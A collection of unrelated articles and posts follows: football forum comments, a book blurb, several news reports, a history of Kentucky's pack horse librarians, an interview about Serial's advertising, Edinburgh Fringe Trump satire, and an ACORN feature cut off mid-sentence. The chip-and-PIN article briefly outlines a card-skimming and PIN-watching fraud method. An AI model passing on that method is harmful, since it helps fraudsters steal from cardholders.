que diga que a Gago en el partido del Bernabeu contra el Barça debió haber sido expulsado varias veces y se fue de rositas. Y le escuece que le recuerde que quizás el árbitro no lo hizo por culpa de la campaña mediática, y nunca mejor dicho, porque mediatizó a los árbitros contra el Barça de manera escandalosa toda la segunda mitad del campeonato, y aun así se ganó la liga con 3 puntos de ventaja. ¿Quizás el moderador se siente parte de esa campaña de desestabilización contra el Barça y que presionó y condicionó tanto a los trencillas como para no expulsar a un jugador como Gago que hizo más méritos que los leñeros holandeses de la final del mundial? ¿Qué narices pinta aquí Gago, me lo explicas?  #179 onekenobi  02.Ago.2010 | 09:32 #178 Si, ha sido buen jugador, no era Beckenbauer, pero dió algo de nivel a la defensa y al centro del campo azulgrana. La cuestión ahora es... ¿cuánto le cuesta este "despido" al Barcelona? Recordemos que él estaba dispuesto a seguir, pero Guardiola ha dicho que no sigue, supongo que por dos años se llevará una buena pasta. # 169 ¿Qué narices pinta aquí Gago, me lo explicas? No cobran traspaso y rescinden el contrato de mutuo acuerdo. O sea que al Barça no le cuesta nada, pero tampoco saca beneficio.
-‘Few could sustain the glance of his eye, at once fiery and penetrating’  Savaged by critics for its supposed profanity and obscenity, and bought in large numbers by readers eager to see whether it lived up to its lurid reputation, The Monk became a succès de scandale when it was published in 1796 – not least because its author was a member of parliament and only twenty years old. It recounts the diabolical decline of Ambrosio, a Capuchin superior, who succumbs first to temptations offered by a young girl who has entered his monastery disguised as a boy, and continues his descent with increasingly depraved acts of sorcery, murder, incest and torture. Combining sensationalism with acute psychological insight, this masterpiece of Gothic fiction is a powerful exploration of how violent and erotic impulses can break through the barriers of social and moral restraint.  This edition is based on the first edition of 1796, which appeared before Lewis’s revisions to avoid charges of blasphemy. In his introduction, Christopher MacLachlan discusses the novel’s place within the Gothic genre, and its themes of sexual desire and the abuse of power.
-UK Foreign Secretary: Georgia is a successful model in the region Friday, April 1, 2016 1:19:00 PM  On the 30th of March, 2016, the British Foreign Secretary Philip Hammond arrived on an official visit to Georgia. According to the Georgian Foreign Ministry, at the beginning of the visit, the Head of the British Foreign Office honored the memory of those who died for the territorial integrity of the country. Then he held meetings with the Prime Minister, the Speaker of Parliament and the Acting Minister of Foreign Affairs of Georgia, as reported by Ekho Kavkaza.  "We attach special importance to your visit in Georgia and regard it as strong support for our country," the Georgian Prime Minister, Giorgi Kvirikashvili, said after the meeting. He expressed confidence that this visit will give new impetus to the cooperation and further expansion of the relations between the two countries. Special attention was paid to the necessity of further development of the economic cooperation and the importance of British investments in Georgia.  Philip Hammond, for his part, noted that the UK considers Georgia as a significant international partner and regarded as an example of a successful country in the region. He confirmed that his country would continue to support the sovereignty, the European and the Euro-Atlantic integration of Georgia. Hammond stressed that Georgia is an independent state and must have the ability of sovereign choice, without the influence of outside forces.  Together with the Georgian Prime Minister, the Foreign Minister of Great Britain visited Rustavi and inspected the construction project of expanding the South Caucasus gas pipeline, which provides gas ti the company British Petroleum. Philip Hammond also spoke at the Forum of Young Politicians of the South Caucasus, organized by the Netherlands Institute for Multiparty Democracy, according to the portal Georgia Online.  Share  Comments  Please enable JavaScript to view the comments powered by Disqus.
-MasterCard has published its roadmap for getting Americans to use chip-and-PIN cards in stores, following Visa's lead in proposing to replace swipe cards by April 2013.  Over the next year, Americans will have to get used to entering a PIN when using a credit card, rather than scrawling a name (any name) as they do today. That's because MasterCard has joined Visa in pushing an April 2013 date on the implementation of chip-and-PIN terminals in US retailers.  Shops will be encouraged to install chip-and-PIN kit with a combination of carrot and stick. MasterCard promises "true financial benefits for merchants as they implement EMV-compatible terminals", while NFC World reminds us that Visa is already threatening that "liability for counterfeit fraud may shift to the merchant's acquirer" if EMV isn't supported.  EMV stands for Europay, MasterCard & Visa, and is the standard to which chip cards conform. When presented to a reader, the EMV chip takes part in a cryptographic exchange which makes the cards prohibitively expensive to forge. EMV chips – contact or contactless – are infinitely more secure than the basic RFID payment systems which got Forbes magazine into such a tizzy last week.  But while the cards are much harder to forge, the PINs are harder to keep secret as they're used in every shop visited.  The worst combination results from cash-point machines (ATMs) which haven't been upgraded to use the EMV chip, so are still dependent on the easily-copied magnetic stripe. Once such a machine has been located (just fry your own chip and then try to use different ATMs until you hit one that works), the fraudster can install a skimmer in any store, collecting the magnetic-stripe data, and then watch the customers entering their PINs.  The solution is to upgrade all the cash points, but that takes time and money. Despite those issues, the introduction of chip-and-PIN has reduced fraud in Europe massively. The vast majority of fraud is now conducted over the internet through retailers who are prepared to deliver to somewhere other than the card-holder's address.  So American retailers have 13 months to upgrade their terminals, and as just about every new EMV terminal now supports contactless (NFC) payments as well, it means every retailer will be able to start accepting Google Wallet payments too, just in time for the iPhone 5... ®
-Russia’s ambassador to South Korea said Moscow would take action if Seoul deploys THAAD. File Photo by Pat Benic/UPI | License Photo  Feb. 3 (UPI) -- Russia's ambassador to South Korea warned Moscow would take measures if Seoul chooses to go ahead and deploy the U.S. missile defense system THAAD, according to a South Korean newspaper.  The joint U.S.-South Korea decision to deploy THAAD was reached in July 2016.  Russia has not been as vocal as China in its opposition to the missile defense system, which Beijing claims is being used for monitoring purposes.  But on Friday, Ambassador Alexander Timonin told South Korean reporters if the system is placed in position, Russia has no choice but to take steps to ensure its security, Maeil Business reported.  "A THAAD deployment may have a dangerous impact on the situation on the peninsula...We regard it as part of the U.S. global missile defense program, which is stationed along the Russian borders and therefore poses a threat to our security," Timonin said.  China is suspected of boycotting South Korean companies and banning performances of K-Pop artists in response to the decision.  The statement from the top diplomat in Seoul came on the same day U.S. Secretary of Defense James Mattis agreed with South Korean leaders that THAAD deployment is to take place as planned.  According to local newspaper Munhwa Ilbo, Mattis said North Korea provocations have made it necessary to deploy missile defense.  Mattis also said the United States would work with allies for peace, stability and freedom in the Asia-Pacific.  In Beijing, during a regular press briefing on Friday, Chinese foreign ministry spokesman Lu Kang said China's position on THAAD has not changed.  "The U.S.-South Korea pursuit of THAAD deployment can undermine China's national strategy and prosperity, and also undermines regional strategic balance," the spokesman said, according to Yonhap. "It does not help solve the problems on the Korean peninsula."  Lu also described THAAD deployment as the "wrong path."  China has taken 43 retaliatory measures against South Korea entities since the decision was reached, according to Seoul's Korea Institute for National Unification.  A total of 23 of those cases were culture-related, 15 involved South Korean businesses and five targeted Seoul's diplomatic corps, politicians and military.
-They were known as the “book women.” They would saddle up, usually at dawn, to pick their way along snowy hillsides and through muddy creeks with a simple goal: to deliver reading material to Kentucky’s isolated mountain communities.  The Pack Horse Library initiative was part of President Franklin Roosevelt’s Works Progress Administration (WPA), created to help lift America out of the Great Depression, during which, by 1933, unemployment had risen to 40 percent in Appalachia. Roving horseback libraries weren’t entirely new to Kentucky, but this initiative was an opportunity to boost both employment and literacy at the same time.  A pack horse librarian at an isolated mountain house, carrying books in saddle bags and hickory baskets, year unknown. University of Kentucky Libraries Special Collections Research Center.  The WPA paid the salaries of the book carriers—almost all the employees were women, making the initiative unusual among WPA programs—but very little else. Counties had to have their own base libraries from which the mounted librarians would travel. Local schools helped cover those costs, and the reading materials—books, magazines, and newspapers—were all donated. In December 1940, a notice in the Mountain Eagle newspaper noted that the Letcher County library “needs donations of books and magazines regardless of how old or worn they may be.”  Old magazines and newspapers were cut and pasted into scrapbooks with particular themes—recipes, for example, or crafts. One such scrapbook, which still is held today at the FDR Presidential Library & Museum in Hyde Park, New York, contains recipes pasted into a notebook with the following introduction: “Cook books are popular. Anything to do with canning or preserving is welcomed.” Books were repaired in the libraries and, as historian Donald C. Boyd notes, old Christmas cards were circulated to use as bookmarks and prevent damage from dog-eared pages.  Pack horse librarians start down Greasy Creek to remote homes, date unknown. University of Kentucky Libraries Special Collections Research Center.  The book women rode 100 to 120 miles a week, on their own horses or mules, along designated routes, regardless of the weather. If the destination was too remote even for horses, they dismounted and went on foot. In most cases, they were recruited locally—according to Boyd, “a familiar face to otherwise distrustful mountain folk.”  By the end of 1938, there were 274 librarians riding out across 29 counties. In total, the program employed nearly 1,000 riding librarians. Funding ended in 1943, the same year the WPA was dissolved as unemployment plummeted during wartime. It wasn’t until the following decade that mobile book services in the area resumed, in the form of the bookmobile, which had been steadily increasing in popularity across the country.  Pack horse librarians cross a log bridge to reach home used as a distribution center for a mountain community, year unknown. University of Kentucky Libraries Special Collections Research Center.  In addition to providing reading materials, the book women served as touchstones for these communities. They tried to fill book requests, sometimes stopped to read to those who couldn’t, and helped nurture local pride. As one recipient said, “Them books you brought us has saved our lives.” In the same year as the call for books, the Mountain Eagle exalted the Letcher County library: “The library belong to our community and to our county, and is here to serve us … It is our duty to visit the library and to help in every way that we can, that we may keep it as an active factor in our community.”  Atlas Obscura has a selection of images of the Kentucky pack horse librarians.  Children greet the “book woman,” 1940. Kentucky Libraries and Archives  “Sometimes the short way across is the hard way for the horse and rider but schedules have to be maintained if readers are not to be disappointed. Then, too, after highways are left, there is little choice of roads,” c. 1940. Kentucky Libraries and Archives  Book delivery to a remote home, 1940. Kentucky Libraries and Archives  A man reading to two small children, c. 1940. Kentucky Library and Archives  The library in Stanton, Kentucky, 1941. University of Kentucky Libraries Special Collections Research Center.  Packing saddle bags with books, date unknown. University of Kentucky Libraries Special Collections Research Center.  A trunk full of donated magazines, c. 1940. Kentucky Libraries and Archives  Making a scrapbook, c. 1940. Kentucky Libraries and Archives
-Loading  Hello Everyone,  Take a look at this beautiful oil painting of Chelsea and Lupa. Chelsea is a Saluki (on the right as you look at the painting) and Lupa is an Italian Greyhound.  The beautiful dog portrait of a Saluki and an Italian Greyhound was hand-painted by us onto canvas at Dog Artists’ studio. It was based on a photograph that the owners had emailed to us. If you would like a quote to commission a portrait of your dogs onto canvas please email: hello@dogartists.co.uk and to view our price guide please follow the link – Dog Portrait Price Guide. We do deliver world-wide too!  The photo the dog oil portrait was based on  Dog Artists’ Resulting Oil Painting……..  Hope you all like the painting.  If you have a question, please feel free to comment below or email us at hello@dogartists.co.uk  Bye for now x  Share this: Email  Facebook  LinkedIn  Twitter  Pinterest  Reddit
-Signing on as the first advertiser on "Serial" has turned out nicely for MailChimp. The podcast, which investigates the 1999 murder of a Baltimore high school student, quickly became a hit. But as its only launch partner, MailChimp's payment was calculated using an audience estimate that turned out to be a fraction of the more than 31 million downloads "Serial" has registered so far. The exposure took MailChimp's ad viral, turning "Mail-Kimp" -- the way a kid pronounces MailChimp's name in the ad -- into a social media sensation. The ad even has its own remix.  "Serial" is now being flooded with advertiser calls, and the podcast is self sustaining, a significant accomplishment for what was simply an experiment a few months ago.  Ad Age caught up with "This American Life" director of operations Seth Lind, who manages sponsorships ("Serial" is a "This American Life" spinoff), to chat about the business of "Serial" and how that MailChimp ad came to be. The conversation has been edited for brevity and clarity.  Ad Age: The MailChimp ad is a cult hit. It even gets parodied in "Serial" parodies. What's so endearing about it?  Seth Lind: In the public radio world, that kind of montage has a name, it's called a vox. People say, "Oh, let's do a vox" where you have people answering the same question, and you do a montage of their answers. So, it certainly sounds different than most single voiced podcast ads. The ad is really based around that one person not knowing how to pronounce "Chimp," and then, for whatever reason, people glommed onto it and it became a meme. That's not something you can do on purpose.  Ad Age: MailChimp got a pretty good deal given the amount of publicity the spot has generated.  Mr. Lind: Yeah, I suppose it's the type of publicity you try to hire a bunch of publicists to get and never get. They owe a big thank you to a random tourist with English as a second language who didn't know how to pronounce Chimp.  Ad Age: Wait, they grabbed people off the street to voice the ad?  Mr. Lind: Yes. It's pretty common in public radio to go out and interview people on a subject. But yeah, ["Serial" producer] Dana Chivvis just said "Do you want to voice an ad for a new podcast?" She went went out and recorded those in a day, probably like an hour.  Ad Age: So the edit team is the one that produced the ad?  Mr. Lind: Yes.  Ad Age: Are you concerned there are lines that might be blurred between edit and advertising?  Mr. Lind: We have a strict firewall between advertising and editorial in terms of content. Occasionally, a sponsor will reach out and say, 'We have a product that's this or a campaign that's this. Do you have any stories coming up about the topic?' And we're just like, 'That's never going to happen.' We're never going to associate an ad with a particular piece of content. You're sponsoring the show and you're sponsoring whatever happens to be in the show that week. ... I think it's just a point of pride to be good producers. We're producing audio that's entertaining and that ad is no different. I don't think it should be surprising that a "This American Life" or a "Serial" producer can produce an audio ad that is high quality or as good or better than something that an agency would make -- because it's actually our only job to make compelling audio.  Ad Age: Radio doesn't seem to have the same problem as print with sponsored content. Hosts, for instance, read ads all the time.  Mr. Lind: Yes, certainly in commercial radio. Sometimes, they're saying: 'You know what I love...' and you're like, 'I don't think you love that, I think you're reading a piece of paper in front of you.' But, obviously we don't do endorsements and things like that. But yes, I do think the host read spots are effective.  Ad Age: Did Chicago Public Radio make a ton of money when "Serial"'s popularity surged?  Mr. Lind: When we were conceiving of the show we went out to sponsors, and we tried to recruit them to purchase launch packages and Mailchimp did. But then once the show was popular and was getting written about, more sponsors added on. So, in that way, the visibility of it and the success of it brought in more sponsors at the tail end of the season and brought in a lot of inquiries about sponsoring in the future.  Ad Age: What percentage of the budget does advertising make up? Is "Serial" primarily reliant on ad dollars?  Mr. Lind: For the first season it was really the only revenue. Because the call for donations we did was to fund a second season. So, 100% would be the answer there. And then I would say, for the second season it's about half.  Ad Age: Podcasting is a digital format, are you able to pass along listener data to your advertisers as you would with a digital display ad?  Mr. Lind: No. We just tell them the download numbers. It's just the pure numbers. The episodes have been downloaded 31 million times, and that's across all 11 episodes. So it's just a lot of people.  Ad Age: What was the original estimation of the audience?  Mr. Lind: It's top secret. ... It was in the hundreds of thousands.  Ad Age: Last question -- did Adnan do it?  Mr. Lind: I have to admit that I do not know.
-Image caption Simon Jay has been starring in Trumpageddon  In Edinburgh, this is the final hectic weekend of the annual Festival Fringe.  There have been 3,400 shows - some of which have delighted critics and some which definitely did not.  In comedy, a rich theme has been the state of America and of the US presidency.  But is satirising President Trump the definition of pointlessness?  At the start of last year, comedian Simon Jay needed to decide on the show he'd work on for the 2016 Edinburgh Festival Fringe.  "This was 20 months ago so Donald Trump wasn't even Republican nominee - but I sensed comedy in him so I decided to take a punt and go for a Trump show," he says.  "But I think even last August the Edinburgh audience was mainly seeing Trump as a bit of a no-hoper. A year later I'm back with a show about a president."  It's probably safe to say few of the comedians satirising President Trump at Edinburgh this year have been fans of his style or his politics.  But they accept that the first months of his presidency have provided huge amounts of material.  In Trumpageddon, a deeply orange Jay invites his audience to a rally. The president deals peremptorily with questions then - as Jay admits - "tends to get a bit handsy" with women in the audience.  Image copyright AFP Image caption President Trump has been a popular subject of satire since his election  "Standing on stage, I can see some people get really frightened by him. I've watched lots of his rallies online and they're big showman experiences.  "They're loud and silly and bizarre and in some ways it's like a stand-up experience already. In the 1970s, Trump could have been the American Bernard Manning."  Jay says the impersonation aspect is important but it's only part of the show. "I use my real hair and a lot of make-up. There are some obvious things like wearing a blue suit and the strange o-shapes he makes with his fingers.  "When the audience submit questions they can be silly and crude - but Americans in particular also ask intelligent questions about energy policy or big business.  "So I need to know enough about Trump to give informed answers, alongside all the jokes. The audience knows I'm the puppeteer but they want to hear from the real Donald Trump too."  The other person in Edinburgh who's playing President Trump for an entire show is Cambridge student Jack Bolton.  Trump'd is a comedy musical set in a future America where Arnold Schwarzenegger has become Vice-President.  "I think President Trump is the joke that never goes stale," Bolton says. "Our story isn't dealing directly with events of 2017 but every week there are developments keeping him in the news: people want to hear about him. So he's box-office."  Image caption Jack Bolton outside a covfefe stall (Trump invented the word in a mis-typed tweet earlier this year)  Adam Woolf is one of the show's writers. "We're not trying to change people's view of him," he says.  "In the States people have already formed their opinions of him and that's probably largely true in Edinburgh too. Basically we're just making fun of him, we're not going to bring him down."  Jack Bolton spends part of each day in costume distributing flyers for the show to tourists on Edinburgh's Royal Mile.  "I do sometimes encounter very pro-Trump Republicans and, to be fair, most take my impersonation in their stride," Bolton says. "I think even his supporters recognise he has flaws in his personality."  "I admit I enjoyed seeing Simon Jay as Trump in our rival show in Edinburgh. It's very different because we have songs and dances but I think Trump lends himself to improv too. He's a rich source of comedy."  Unlike Jay, Jack Bolton wears a blond wig in the role. He says Alec Baldwin on Saturday Night Live has been a big influence on his portrayal.  Woolf says, as a writer, it's the psychological traits he tried to capture.  "Trump always has to portray himself as a winner and repeatedly points out that he's a winner - so you build that into the script," Woolf explains.  "He is capable of totally dismissing the facts of any criticism made of him, which even now surprises me."  Image caption Matt Forde also impersonates Boris Johnson in his Edinburgh show  Already well-known from appearances on mainstream TV, Matt Forde's show in Edinburgh is called A Show Hastily Rewritten in Light of Recent Events - Again.  It's not all about Trump but, he says: "It's an hour of stand-up about the mad chaos which has descended on the world - so there's a lot of him."  "I find Trump in some ways a despicable individual but you have to admit he's exceptionally entertaining.  "So you can have fun with the voice and physically what he does with his shoulders and his mouth. But there's a twin-track because you're trying to expose his politics too."  "Another impersonation who's been a winner for me is Boris Johnson and there's a certain parallel between them. They both have constructed personas which are designed to distract.  "Both men have inherently comedic linguistic tics and bits of body language which are in part deliberate. But they're very powerful individuals - you have to extract the comedy they offer but also keep them under scrutiny."  Forde adds: "For someone like me in Edinburgh there's a sweet spot where you say something that makes the audience laugh about a politician but it's also a point well-made with some truth behind it."  Image caption Geoff Norcott styles himself as "the UK's only declared Conservative comedian"  At 40, Geoff Norcott is creating a niche for himself as Britain's best-known right-wing comic. He acknowledges the label is a simplification, "but it creates a very useful dynamic with the audience".  His show at Edinburgh is called Right Leaning But Well Meaning. So will Geoff be the stand-up who stands up for Trump?  "Politics in Britain and in America are very different. I'm seen here as a Tory but in America I think I could be on one wing of the Democrats," he says.  "If I do start building more Trump into my act, probably it will be talking about the media's demonization of people who voted for him.  "I don't think I would do material expressly defending Donald Trump but it annoys me when voters are seen as having had malevolence in their heart. Poor Americans in particular look at Trump and genuinely see something that appeals to them.  Norcott continues: "I'm a satirist and satire has to be directed above all at people who wield power and influence - which can be different from being in political power. It would be interesting to find comedy that's explicitly pro-Trump and I imagine in America you will find it. There are blue-collar comics there who will have very different opinions from most people performing at Edinburgh.  "There's comedy in the high-minded elitism of those who are so quick to criticise Trump-voters. As a performer, I have to watch Trump carefully because he's the US president and has huge power.  "But I also keep an eye on the cultural overlords who don't approve of him and are continually telling me to think the same things. Satire isn't all one way."  Follow us on Facebook, on Twitter @BBCNewsEnts, or on Instagram at bbcnewsents. If you have a story suggestion email entertainment.news@bbc.co.uk.
-MUMBAI (Reuters) - Sahara, a sprawling conglomerate that ranges from media to property and Formula One racing, has agreed to pay the full $1.6 billion to release its jailed boss on bail, a lawyer for the company said on Friday.  The Sahara group chairman Subrata Roy (C) is escorted by police to a court in Lucknow February 28, 2014. REUTERS/Stringer/Files  Subrata Roy has been held in jail for more than a year after Sahara failed to comply with a court order to refund billions of dollars it had raised in outlawed bonds.  Sahara, once one of India’s most high-profile firms, has in the past made several failed attempts to raise the bail money using its prized overseas hotels that include the Plaza in New York and Grosvenor House in London.  The Supreme Court in March allowed Sahara three more months to raise cash for the bail money. It has warned it could ask a receiver to auction Sahara’s assets if the group fails to raise bail.  The court will hear Sahara’s new bail proposal on Thursday, the Sahara lawyer told Reuters. “All the formalities for the bail bond would be completed before Thursday,” he said, declining to be named.  A Sahara spokesman did not return calls seeking details. Gautam Awasthi, another lawyer for Sahara, said in a statement on behalf of the company that the Supreme Court would hear the case on Thursday.  The $1.6 billion is what Sahara is required to pay initially to get its chief released on bail. The Securities and Exchange Board of India (SEBI) and the Supreme Court have estimated Sahara’s total liabilities due to the outlawed bonds at as much as $7 billion.  Sahara says it has paid 95 percent of the dues to the bondholders, but the regulator disputes that.  Roy, the company’s founder, styles himself “managing worker” and guardian of the world’s largest family. Several employees have said operations across the group have been hit over the past year without him.  In its last attempt, Sahara was close to finalising a deal with U.S.-based Mirach Capital Group to raise money by taking a loan against its overseas hotels, but talks collapsed.
-You haven't seen Carrie Guzman on the television shows hosted by archconservatives Bill O'Reilly or Glenn Beck. Her name hasn't appeared on the op-ed page of The Wall Street Journal. And she hasn't shown up in any surreptitiously videotaped sting operations conducted by youthful right-wing zealots.  In fact, Guzman represents a face of the group ACORN that has been largely absent from the media in general since various factions of the right wing set out to discredit and cripple the anti-poverty organization.  At least she used to be a part of Association of Community Organizations for Reform Now. As head of the Lansing office, she worked out of a small office in that city for four years, putting in long hours while making just $30,000 a year. Given that Guzman holds a Ph.D. in community development, the pay is exceptionally meager. But she loved the job nonetheless, seeing it as a way to continue providing a public service after retiring from Michigan State University, where she previously served as director of the undergraduate social work program.  But late last year, after the federal government illegally cut off funding to the nonprofit and threatened to do the same to any other entity either affiliated or even associated with the group, ACORN in Michigan shut down all operations.  One year before the ax fell, Michigan ACORN had offices in Detroit, Lansing, Saginaw, Flint and Grand Rapids. At its peak, it had more than 20 full-time staff and represented more than 10,000 member families around the state.  In 2008, according to organization officials, it helped more than 1,000 families get their taxes filed, saved some 75 families from foreclosure, and assisted more than 150,000 people in filling out voter registration applications.  ACORN was also a key member in the coalition that successfully pushed for an increase in the state minimum wage in 2006, and its work in speaking up about the foreclosure crisis helped to pass the Home Foreclosure Prevention Act in the spring of 2009.  Despite those successes, the group was already facing difficult times as fallout from the financial meltdown caused foundations and philanthropists to scale back support, Guzman says. That same meltdown, especially here in Michigan, where unemployment is rampant, also put a debilitating squeeze on the working-class and poor and people of color whose monthly dues form the backbone of ACORN's support structure.  For two months early in 2009, Guzman went without a paycheck, but she kept plugging away, helping people get their income tax returns properly filed and continuing to lead organizing efforts.  By September, when a pair of young conservative activists released secretly recorded videotapes purportedly showing ACORN employees in a handful of cities giving helpful advice to them as they posed as a pimp and prostitute looking for assistance on things like opening a brothel or illegally funneling money into a fictitious political campaign, all hell broke loose.  The furor caused by the videos led Congress to pass legislation cutting off funds to ACORN in a matter of weeks. Even more devastating than the shutoff of federal money — which never formed a large part of ACORN's support — was language in the legislation that also opened up the possibility that any group affiliated or even allied with ACORN could also lose federal funding. That legislation, along with the torrent of negative publicity generated by the video sting, had additional repercussions: Foundation supporters and corporate partners — such as banks that helped fund foreclosure prevention programs — started separating themselves from the organization.  "That was the last straw," says Guzman, who lives in Lansing. "We just couldn't keep going after that."  That and the threatening phone calls that caused her to fear for the safety of her staff.  Michigan isn't the only place where ACORN has suffered. Kevin Whelan, ACORN's deputy national director, says that most state operations have either closed entirely or undergone drastic cuts. Of the nearly 400 people employed by the organization nationally just a year ago, fewer than half remain on the payroll, he says.  As bad as all that is, the recent decision by California ACORN to break away from the national group to create a new nonprofit organization could portend even more trouble ahead. As the Los Angeles Times reported when the split occurred in January, the separation from its "embattled parent organization" is a "move that observers say might foreshadow other defections that would seriously undermine one of the nation's largest and most politically powerful community organizations."  There is no doubt that conservative efforts to weaken ACORN, beginning at least as far back as 2004, when the group's voter registration efforts sent a chill through the Bush White House, have crippled the organization.  Along with an assault masterminded from the White House by Karl Rove was a second prong of attack from corporate interests that tried to keep their fingerprints off hatchet jobs by using an industry-funded "astroturf" group.  An early effort in that campaign, according to the group SourceWatch, "involved the appearance of a website called RottenAcorn.com, created by the Employment Policies Institute (EPI), a front group created by Washington, D.C.-based astroturf specialist Richard Berman and his lobbying firm Berman & Company." The RottenAcorn.com website says ACORN is "really a multimillion-dollar, multi-national conglomerate," and "its political agenda is driven by a relative handful of political thugs for hire." In an Oct. 29, 2008, article, the investigative journalism group ProPublica revealed that both a full-age ad in The New York Times attacking ACORN and the RottenAcorn.com website are "funded by Rick Berman's Employment Policies Institute, which has among its clients the American Beverage Institute, a trade group for bars and restaurants." As if battling the Republican Party and well-funded corporate hit squads weren't enough, ACORN has been brought low, at least in part, because the mainstream press failed to do its job.  And then, heaping insult upon injury, ACORN was abandoned by many of the Democratic politicians that benefited from the group's efforts, including a one-time community organizer named Barack Obama.  The question being raised now is whether it will be able to continue to exist at all.  But not all of ACORN's problems can be laid at the feet of others.  SELF-INFLICTED WOUNDS  The seeds of current-day ACORN were planted in 1970, when the National Welfare Rights Organization sent a talented organizer named Wade Rathke to Little Rock, Ark.  As noted on ACORN's website, Rathke's first campaign was aimed at helping welfare recipients attain their basic needs, such as clothing and furniture. This drive began the effort to create and sustain a movement that would grow to become the Arkansas Community Organizations for Reform Now — the original ACORN."  The fledgling group's ambitious goal was to "unite welfare recipients with needy working people around issues of free school lunches, unemployment issues, Vietnam veterans' rights and emergency room care. The broad range of issues did not stop there, as the organization grew throughout Arkansas. ACORN organized farmers to take on environmental issues concerning sulfur emissions."  It became a multi-state organization in 1975, launching branches in Texas and South Dakota, keeping the original acronym but changing its name to the Association of Community Organizations for Reform Now. Eventually it spread to more than 40 states and gained hundreds of thousands of members.  Lansing organizer Guzman says she first learned about the group the way most people did back in the 1980s.  "Someone came and knocked on my door and asked me to become involved," she recalls. The issue then was an effort to keep a neighborhood school from being closed.  The effort caught her interest, and she became a dues-paying member, contributing $10 a month to help support the cause. From the outset, Guzman says, the group was controversial, fostering a culture of confrontation.  "ACORN has always been edgy, and has always pushed the envelope," says Guzman. Rather than seeking in-your-face confrontations, she considers herself more of a "bridge builder" with a low-key temperament. But says she understands the reason for the organization's aggressive philosophy.  "ACORN has never been afraid to directly confront people with rallies and demonstrations, or going to the homes of corporate executives to stage protests. Things like that. But a lot of times, that kind of edginess is necessary to draw attention to an issue."  With the bulk of its members existing on the margins of society, she explains, it was important to prove to them that they had the power to make change happen. People who never had access to the corridors of power learned that there is power in numbers, power in knowledge. Over time, ACORN grew to become what Peter Dreier and John Atlas, in a piece penned for the Huffington Post blog site, described as "the nation's most successful community organizing group ... making headlines by mobilizing low-income Americans to fight for social justice, challenging powerful banks, corporations and government officials around such issues as [increased] wages for the working poor, predatory lending and foreclosures, welfare reform, public education, affordable housing and voting rights."  Dreier teaches politics and directs the Urban & Environmental Policy program at Occidental College in California. Atlas, founder and president of the New Jersey-based National Housing Institute, has written a soon-to-be published book about the history of ACORN.  Both men have regularly risen to the defense of the organization as it sustained a series of attacks in recent years. But even admirers of the group were taken aback in July 2008, when it was disclosed that ACORN founder Wade Rathke's brother, Dale, had embezzled nearly $1 million from the organization eight years earlier. Although an agreement to recoup the money was signed and payments were made, police were never notified and most of ACORN's board was never informed of the crime. Both brothers remained with the organization until whistle-blowers disclosed the scandal.  "We thought it best at the time to protect the organization, as well as to get the funds back into the organization, to deal with it in-house," Maude Hurd, then president of ACORN, told The New York Times. "It was a judgment call at the time, and, looking back, people can agree or disagree with it, but we did what we thought was right."  Over the years, ACORN had made powerful enemies, and they pounced on what Dreier and Atlas described as a "tragic example of poor judgment." The group's detractors, not surprisingly, went for the jugular.  The Employment Policies Institute issued this statement: "It comes as no surprise that ACORN founder and chief organizer Wade Rathke hid his brother's embezzlement of nearly $1 million from the 'charitable' organization's employees, board of directors and donors. This is just one more page in ACORN's corrupt history, which already includes election fraud investigations in at least a dozen states, hypocritical and oppressive employment practices and a political agenda driven by a handful of anti-corporate activists."  While the right wing gleefully slobbered over the whiff of blood, the group's supporters responded like they were gut-punched.  "Staff," says Guzman, "felt very angry and betrayed."  PIMPED OUT  During the summer of 2009, twentysomething conservative activists James O'Keefe and Hannah Giles visited at least eight ACORN offices in five different cities. Giles pretended to be a prostitute. O'Keefe either posed as a pimp or claimed to be Giles' protector. Various illegal schemes were proposed. According to news reports, two ACORN staffers were fired for their seeming willingness to assist the two activists in their feigned plans to break the law.  After the videotaped sting in September, ACORN commissioned former Massachusetts Attorney General Scott Harshbarger to conduct an inquiry into both the incident and the effectiveness of reforms instituted following disclosure of the embezzlement.  One of the things Harshbarger concluded in a report released in December 2009, was that the "serious management challenges" facing the organization are the "fault of ACORN's founder and a cadre of leaders who, in their drive for growth, failed to commit the organization to the basic, appropriate standards of governance and accountability. As a result, ACORN not only fell short of living its principles but also left itself vulnerable to public embarrassment.  "The hidden camera controversy is an apt example. While some of the advice and counsel given by ACORN employees and volunteers was clearly inappropriate and unprofessional, we did not find a pattern of intentional, illegal conduct by ACORN staff; in fact, there is no evidence that action, illegal or otherwise, was taken by any ACORN employee on behalf of the videographers. Instead, the videos represent the byproduct of ACORN's longstanding management weaknesses, including lack of training, lack of procedures, and lack of on-site supervision."  The way Guzman sees it, when the group greatly expanded its efforts to register voters in the 2000s, resources that had previously gone into training went into growth. Also, the culture of the group could be a sword that cut two ways.  "Community organizers by nature are not administrators," she observes. "They are movers and shakers." As a result, even though she says the "protocols" put in place by the national organization were generally very good, the middle management support needed to carry them out wasn't always there, and training wasn't always adequate.  On the other hand, the video sting revealed more than shortcomings on the part of ACORN. According to Dreier, coverage of the incident both created a controversy far out of proportion to its actual news value while failing to reveal the true context of what really happened.  While Fox News broadcast the videos "on a virtual round-the clock basis," Dreier wrote in a piece penned two weeks ago, and the right-wing blogosphere served as an echo chamber that amplified and spread the allegations, mainstream media acted more like "stenographers" than reporters, failing to reveal crucial facts about the so-called "sting."  While the heavily edited tapes make it appear as if conservative activist James O'Keefe dressed as a ridiculously flamboyant pimp when taping ACORN employees, he in reality presented himself as merely a friend to pretend hooker Giles (who in some cases claimed to be seeking help setting up a brothel). It was only outside that he donned the laughably outrageous costume that included a faux fur coat and oversized shades. In an act of bold-faced deception, he then spliced the footage "to make it appear" that he'd actually worn the costume in meetings with ACORN staff.  Most of the mainstream media continued to miss that salient fact in recounting the video escapade while reporting on the arrest of O'Keefe and three other men last week, when they were charged with plotting to tamper with the phones at the New Orleans office of Democratic Louisiana Sen. Mary Landrieu.  Missing the real story is part of a pattern when it comes to mainstream coverage of ACORN, Dreier says.  Last September, Dreier and University of Northern Iowa journalism professor Christopher Martin released a report titled "Manipulating the Public Agenda: Why ACORN Was in the News, and What the News Got Wrong."  The study looks at mainstream media coverage of ACORN during 2007 and 2008, in advance of the presidential election. According to the study, groundwork for the attack started being laid as early as July 2006, when EPI released a report titled "Rotten ACORN: America's Bad Seed." The report made reference to ACORN's "questionable activities" and referenced investigations into allegations of "election fraud" by the group but, Dreier and Martin's study notes, failed to produce any evidence of convictions against ACORN.  And while it's true ACORN workers in a number of states were accused of placing false names on voter registration cards, there hasn't been one recorded instance of any attempts by 